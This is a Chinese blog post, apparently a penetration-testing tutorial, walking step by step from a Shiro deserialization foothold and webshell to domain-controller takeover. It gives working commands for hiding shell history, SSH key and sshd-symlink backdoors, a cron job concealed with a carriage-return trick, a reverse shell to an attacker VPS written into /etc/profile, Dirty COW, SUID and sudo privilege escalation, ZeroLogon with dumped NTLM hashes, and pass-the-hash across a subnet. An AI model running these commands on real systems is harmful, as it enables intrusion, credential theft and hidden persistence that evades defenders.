内网渗透初探(三) ｜ 查缺补漏

最新推荐文章于 2024-04-15 00:49:07 发布
最新推荐文章于 2024-04-15 00:49:07 发布
阅读量4.3k 收藏 3
点赞数
文章标签： 安全 linux web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42508548/article/details/122111905
版权

一、前言

从linux打进去到域环境，到获取域控权限。因为前面基本都是在讲windows，这里补一篇linux的，全篇实操，喜欢的小伙伴们快来呀~

二、外网打点

1、打开站点，很正常的一个登录界面

image.png

2、尝试登录后发现典型的shiro特征。

image.png

3、使用工具直接打shiro反序列化即可。 下载地址： GitHub - j1anFen/shiro_attack: shiro反序列化漏洞综合利用,包含（回显执行命令/注入内存马）

image.png

4、直接上冰蝎马，连接

image.png

image.png

三、权限维持

权限维持其实看了很多文章，都是有包括修改用户的，但是因为应急响应排查最先的就是用户登录情况，/etc/passwd，/etc/shadow文件修改情况，所以这里其实不太推荐这样做。 当然下面介绍的几种也是比较常用的，简单操作的，操作其实还是有些明显的，可以挑选一两个用就好，毕竟，操作越少被发现的可能就越低嘛；也可以选择做多几个权限维持，一个去掉了还有另一个嘛～

(一)、隐藏历史记录

1、在命令前加空格，命令不会被记录

[空格]cat /etcpasswd

image.png

cat /etc/passwd

image.png

可以看到命令只记录了一条

image.png

2、设置命令不记录

[空格]set +o history

image.png

恢复

set -o history

image.png

3、删除history文件中指定行的命令，[num]为每行命令左边的标识。

history -d [num]

可以看到原本的1命令已被删除

image.png

4、粗暴点的，直接删除history文件内容

#向history文件写入空内容，覆盖原本内容
echo > ~/.bash_history
​
#清空当前history记录
history -c

image.png

image.png

(二)、SSH公钥写入

ssh连接相当于拿到目标主机的一个shell。除了使用账号密码进行连接以外，还有一种方式便是通过将ssh密钥写入/root/.ssh/authorized_keys目录下，然后便可以免密码登录了。 ​

熟悉redis未授权访问漏洞的利用手法的话，对这种方式一定不会陌生。这也是一种留下后门的方式。

生成ssh密钥，输入命令，按三次回车即可

ssh-keygen -t rsa

生成后在～/.ssh/文件夹中发现密钥已经成功生成了。其中id_rsa为私钥，id_rsa.pub为公钥

image.png

将id_rsa.pub文件内容输入到～/.ssh/authorized_keys文件中，如果没有这个文件，那就自己新建

image.png

尝试ssh连接成功

ssh root@10.211.55.4

image.png

(三)、SSH软连接

原理： 在sshd服务配置启用PAM认证的前提下，PAM配置文件中控制标志为sufficient时，只要pam_rootok模块检测uid为0（root）即可成功登录。 ​

也就是说当开启了pam认证后，只需要找到文件配置为auth sufficient pam_rootok.so的即可。 1、输入命令，生成软连接，端口为10022。

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=10022

image.png

2、ssh连接，密码任意输入，成功登录。

image.png

3、好用是好用，但是容易被发现，输入ps-aux就可以发现了。

image.png

(四)、计划任务

1、新建一个cron.sh文件，这里我执行的命令是nc反弹shell，使用其他命令也是可以的。

image.png

2、设置计划任务，这里*/3表示每3分钟执行一次。

(crontab -l;printf "*/3 * * * * /bin/bash /tmp/cron.sh;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

image.png

3、成功隐藏计划任务

image.png

4、获取反弹shell

image.png

(五)、通过环境变量植入后门

常见的环境变量路径如下：

/etc/profile
/etc/profile.d/*.sh
~/.bash_profile
~/.profile
~/.bashrc
~/bash_logout
/etc/bashrc
/etc/bash.bashrc

将反弹shell命令写入环境变量

echo 'bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1' >> /etc/profile

这样当系统重启了之后，便会将shell反弹到vps上了

四、主机信息收集

获取权限后，需要进行一定的信息收集

(一)、查询账户信息

whoami

image.png

id

image.png

cat /etc/passwd

image.png

cat /etc/shadow

image.png

(二)、查询网络和端口信息

ifconfig

image.png

netstat -anlp

image.png

arp -a

image.png

route -n

image.png

(三)、查询进程列表

ps -ef

image.png

(四)、查询系统和补丁信息

通过查询内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包

image.png

(五)、凭证收取

cat /root/.bash_history    //历史输入命令
cat ~/.bash_history    //历史输入命令

image.png

w			//目前登录的用户

image.png

五、提权

为了安全性考虑，渗透测试的站点往往会对一些数据库或者站点进行降权处理，降低了管理站点或者数据库的权限，防止攻击者获取了权限之后直接可以造成更大的威胁。这也就是表示在渗透测试过程中，我们获取的网站权限为低权限，只能做有限的一些操作，如果要突破当前主机进行内网渗透的话，我们需要拿到相对高的权限例如管理员权限，这样才能在当前服务器的基础上实现内网渗透。 然后我们了解一下服务器的权限划分，在windows系统中，最高权限为system系统权限，最低的为guest权限。在linux系统中，最高权限为root权限。

(一)、内核漏洞提权

利用条件

系统对应内核存在某些漏洞，并且没有打上补丁，即有可能存在内核漏洞。

cat /etc/issue #查看发行版本
uname -r			 #查看内核版本

实战演示

1、首先通过linux提权辅助工具linux-exploit-suggester来判断哪些漏洞可以用来溢出提权。 下载地址：GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool

2、这里选择脏牛——CVE-2016-5195来进行提权。首先下载对应的exp，使用命令gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译，编译完成后会生成一个dirty文件。

3、执行dirty文件提权，在后面输入密码，获取一个firefart用户名，密码为我输入的密码的账户。

4、登录该用户，查看，已经成功获取root权限

(二)、SUID提权

SUID代表设置的用户ID，是一种Linux功能，允许用户在指定用户的许可下执行文件。例如apt-get命令需要以root权限才能执行，我们可以设置apt-get对的SUID，那么低权限用户也可以以root权限执行apt-get操作。 SUID的常见标识就是使用‘s’替换了‘x’。 1、使用以下命令发现系统上运行的SUID可执行文件

find / -perm -u=s -type f 2>/dev/null

2、查看find命令，发现确实是使用了s来替换x。

3、借助find命令进行命令执行，成功以root权限执行了命令

(三)、Sudo配置错误

sudo上存在这样一个漏洞，只要用户在使用sudo命令时指定UID为-1或4294967295，就可以以root身份执行命令。 1、以root权限执行id命令 sudo -u#-1 id

2、以root权限执行whoami命令 sudo -u#-1 whoami

六、横向移动

横向移动方法很多，详细的可以查看上一篇内网渗透初探(二) | 内网渗透全过程重新学习，这里介绍一种在2020年公开的，可以直接攻击域控的漏洞。

(一)、CVE-2020-1472

NetLogon 远程协议是一种在 Windows 域控上使用的 RPC 接口，被用于各种与用户和机器认证相关的任务。最常用于让用户使用 NTLM 协议登录服务器，也用于 NTP 响应认证以及更新计算机域密码。 微软MSRC于8月11日 发布了Netlogon 特权提升漏洞安全通告。此漏洞CVE编号CVE-2020-1472， CVSS 评分:10.0。由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。

使用的工具：
1、exp
https://github.com/VoidSec/CVE-2020-1472

2、impacket工具包
https://github.com/SecureAuthCorp/impacket/

1、首先获取域内信息

net group "Domain Controllers" /domain

这里获取了域ajie.cool、域控主机名AD

image.png

2、使用exp将域控密码置空

python3 cve-2020-1472-exploit.py -n 域控主机名 -t 域控IP

python3 cve-2020-1472-exploit.py -n AD -t 192.168.30.128

image.png

这里已经成功将密码进行置空处理了

image.png

3、利用impacket工具包中的secretsdump.py脚本获取hash

python3 secretsdump.py ajie.cool/AD\$@192.168.30.128 -no-pass

image.png

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3:::

AD$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

可以看到AD$的hash为31d6cfe0d16ae931b73c59d7e0c089c0 即空密码

image.png

image.png

获取hash后便可以进行hash破解或PTH了，这里就不多做展示。 4、下一步我们需要还原密码。 首先通过获取到的hash，可以通过wmiexec.py进行pth攻击，拿到一个shell

python3 wmiexec.py -hashes  aad3b435b51404eeaad3b435b51404ee:f1de694efa543bb780da59c049541ea3 Administrator@192.168.30.128

image.png

5、中间省略获取权限到远程桌面到步骤了，也可以CS上线啥的，主要为了方便下载system.save、sam.save、security.save文件即可。

image.png

image.png

6、通过secretsdump.py获取保存的hash（文件路径根据自己的来设置，我这里因为在桌面所以通过../../跳转了）

python3 secretsdump.py -sam ../../sam.save -system ../../system.save -security ../../security.save LOCAL

image.png

框出来的那一串，后面部门即为原本的hash

75f490ed04ba66f04e0e947a185679bd

7、通过工具还原密码

python3 reinstall_original_pw.py AD 192.168.30.128 75f490ed04ba66f04e0e947a185679bd

image.png

image.png

8、尝试了一下，no-pass利用失败了

image.png

七、扩大战果

前面已经获取到域控的NTLM hash，那么后面可以使用Crackmapexec批量获取主机权限（通过域控NTLM hash，以及指定IP段进行攻击） kali下进行安装

apt-get install crackmapexec

输入如下命令即可

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x whoami
IP ：指定要攻击的IP段
-u ：指定用户名
-H ：指定NTLM Hash
-d ：指定域
-x ：执行系统命令·

可以看到返回了域控的管理员

image.png

proxychains crackmapexec smb 192.168.30.1/24 -u administrator -H f1de694efa543bb780da59c049541ea3 -d ajie.cool -x ipconfig

image.png

image.png

文章首发于先知社区：https://xz.aliyun.com/t/10627

大夜猫
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SharpSecDump:.Impacket的secretsdump.py的远程SAM + LSA秘密转储功能的.Net端口
03-19
夏普转储 impacket的secretsdump.py的远程SAM + LSA秘密转储功能的.Net端口。默认情况下，在当前用户的上下文中运行。请仅在您拥有或有权测试的环境中使用:) 用法 SharpSecDump.exe -target=192.168.1.15 -u=admin -p=Password123 -d=test.local 必需标志 -target-逗号分隔的要扫描的IP /主机名列表。请不要在地址之间包含空格。通过将target设置为127.0.0.1，还可以在本地系统上转储哈希。 可选标志 -u-要使用的用户名，如果要使用备用凭据来运行。必须与-p和-d标志一起使用 -p -明文密码才能使用，如果你想使用备用凭据运行。必须与-u和-d标志一起使用 -d-要使用的域（如果要使用备用凭据运行）（对于本地域）。必须与-u和-p标志一起使用 -threads-用于并发枚举多个
Impacket工具使用
qq_18811919的博客
02-22 2983
Impacket工具包使用
hackthebox-sauna （域渗透/bloodhound使用/mimikatz使用/secretsdump.py、psexec使用）
冬萍子癸水
01-06 3766
1、扫描 先masscan全局快速扫，再namp精细扫 masscan -p1-65535,U:1-65535 10.10.10.175 --rate=1000 -e tun0 nmap -A 10.10.10.175 -p389,5985,445,53,139,49667,636,135,88,49673,49674,80,464,52613,593,49676 可见 开了很多端口，而88 389 这都是域端口，389后面也详细写了域名字，跟htb里这个域渗透的靶机froest很像了。准备好impack
内网渗透-Hash传递攻击
最新发布
lza20001103的博客
04-15 1070
内网渗透-Hash传递攻击
什么是DCSync
sangfor_edu的博客
10-28 683
在域环境中，域控制之间每十五分钟就会进行一次域数据同步。当域控制A需要从域控制器B获取数据时，会向其发送一个 GetNCChanges 请求，该请求包含了需要同步的数据，如果获取的数据较多，则会进行循环请求。DCSync是mimikatz在2015年添加的一个功能，利用的这个原理，通过 Directory Replication Service（DRS） 服务的 GetNCChanges 接口模仿一个域控制器向另一个域控制器发起数据同步请求，能够用来导出域内所有用户的hash。
ATT&CK-T1003-002 - 操作系统凭据转储：安全帐户管理器
swordheart的博客
12-07 559
攻击者可能会尝试通过内存技术或通过存储 SAM 数据库的 Windows 注册表从安全帐户管理器 (SAM) 数据库中提取凭证材料。SAM 是一个数据库文件，其中包含主机的本地帐户，通常是使用**** 命令找到的帐户。枚举 SAM 数据库需要 SYSTEM 级别的访问权限。许多工具可用于通过内存技术检索 SAM 文件：或者，可以使用 Reg 从注册表中提取 SAM：然后可以使用 Creddump7 在本地处理 SAM 数据库以检索哈希值。可以通过三个注册表项枚举本地 SAM（SAM 和系统）、缓存凭证（系统
内网渗透之获取明文身份凭证
HWHXY的博客
02-25 821
内网渗透之获取明文身份凭证 0 前言 下文主要是从《从0到1的CTFer成长之路》阅读所做的笔记，处于备忘的目的，主要内容是内网渗透中获取控制主机的明文身份凭证的几种方法，归纳角度从原理和方法两个角度写。。 1 LSA Secret 原理 本地安全策略，存储私有数据，用户和系统的敏感数据都存储在LSA Secrets的注册表中 操作 开始--运行bai--（输入）regedit--回车 Secrets里面存在用户的一些default 方法 先导出注册表项 reg save hklm\sam C:\sa
内网渗透技术总结大全.pdf
12-22
内网渗透技术总结大全.pdf
内网渗透之域渗透.pdf
08-07
目录 工作组&域 域的渗透姿势 MS14-068 致谢
内网渗透攻击线路图.pdf
03-21
内网渗透攻击线路图.pdf
内网渗透流程与思路和工具讲解
04-10
内网渗透流程与思路和工具讲解 内网渗透测试是一个复杂的过程，需要了解目标网络的结构、系统配置、软件版本、开放端口等信息。以下是内网渗透测试的流程和思路： 1. 内网信息收集 在内网渗透测试中，信息收集是...
agent内网渗透代理相关
04-14
内网渗透代理
内网渗透之凭据收集的各种方式
cike_y
09-07 815
本地安全机构服务器服务 (LSASS) 是一个 Windows 进程，用于处理操作系统安全策略并在系统上强制执行。它验证登录帐户并确保密码、哈希值和Kerberos票证。Windows 系统将凭据存储在 LSASS 进程中，使用户能够访问网络资源， 例如文件共享、SharePoint 站点和其他网络服务，而无需在每次用户连接时输入凭据。LSASS 进程对于红队来说是一个诱人的目标，因为它存储有关用户帐户的敏感信息。LSASS 通常被滥用来转储凭据以提升权限、窃取数据或横向移动。
内网渗透攻击技术的利用
kali_Ma的博客
09-14 2177
DCSync 是什么 在域环境中，不同域控制器（DC）之间，每 15 分钟都会有一次域数据的同步。当一个域控制器（DC 1）想从其他域控制器（DC 2）获取数据时，DC 1 会向 DC 2 发起一个 GetNCChanges 请求，该请求的数据包括需要同步的数据。如果需要同步的数据比较多，则会重复上述过程。DCSync 就是利用的这个原理，通过 Directory Replication Service（DRS） 服务的 GetNCChanges 接口向域控发起数据同步请求。 DCSync 是域渗透中经常会
NetLogon特权提升漏洞（CVE-2020-1472）复现及问题解决
热门推荐
Love&Share
09-17 1万+
NetLogon特权提升漏洞（CVE-2020-1472）复现 漏洞描述 2020年08月12日，Windows官方 发布了 NetLogon 特权提升漏洞 的风险通告，该漏洞编号为 CVE-2020-1472，漏洞等级：严重，漏洞评分：10分。CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。 漏洞成因 Netlogon协议身份认证采用了挑战-响应机制，其中加密算法是AES-CFB8，并且
【渗透笔记】域内密码凭证获取
白菜猪肉炖粉条
12-28 1666
Volume Shadow Copy 活动目录数据库 ntds.dit 活动目录数据库，包括有关域用户、组和组成员身份的信息。它还包括域中所有用户的密码哈希值。 为了保护密码哈希值，使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。 因此想要破解sam文件和ntds.dit文件都需要拥有一个system文件 ntds.dit文件位置：%SystemRoot%\NTDS\NTDS.dit system文件位置：%SystemRoot%\System32\config\SYSTEM sa
应急响应笔记
weixin_46595570的博客
04-15 1112
黑客病毒千千万，人才工具处处有。 攻击威胁早发现，不留后门要根除。 面对各种各样的安全事件，我们该怎么处理？ 当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时，急需第一时间进行处理，使企业的网络信息系统在最短时间内恢复正常工作，进一步查找入侵来源，还原入侵事故过程，同时给出解决方案与防范措施，为企业挽回或减少经济损失。 对于病毒入侵，黑客攻击等等我们又知道多少? 所以在现实中会时不时出现不同的人，不同的手段攻击我们，这时我们就需要进行应急响应分析。 目录 分析入侵原因-
win10提取并解密sam文件中的hash值
feigerger的博客
07-07 4645
win10密码破解，提取SAM文件
（转）MS14-068域内提权漏洞总结
weixin_30849591的博客
05-07 924
0x01 漏洞起源 说到ms14-068,不得不说silver ticket，也就是银票。银票是一张tgs，也就是一张服务票据。服务票据是客户端直接发送给服务器，并请求服务资源的。如果服务器没有向域控dc验证pac的话，那么客户端可以伪造域管的权限来访问服务器。所以ms14-068的来源和银票是息息相关的。 在mimikatz作者的ppt里面是这样描述的： 所以说这真的是一个大漏洞，允许...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值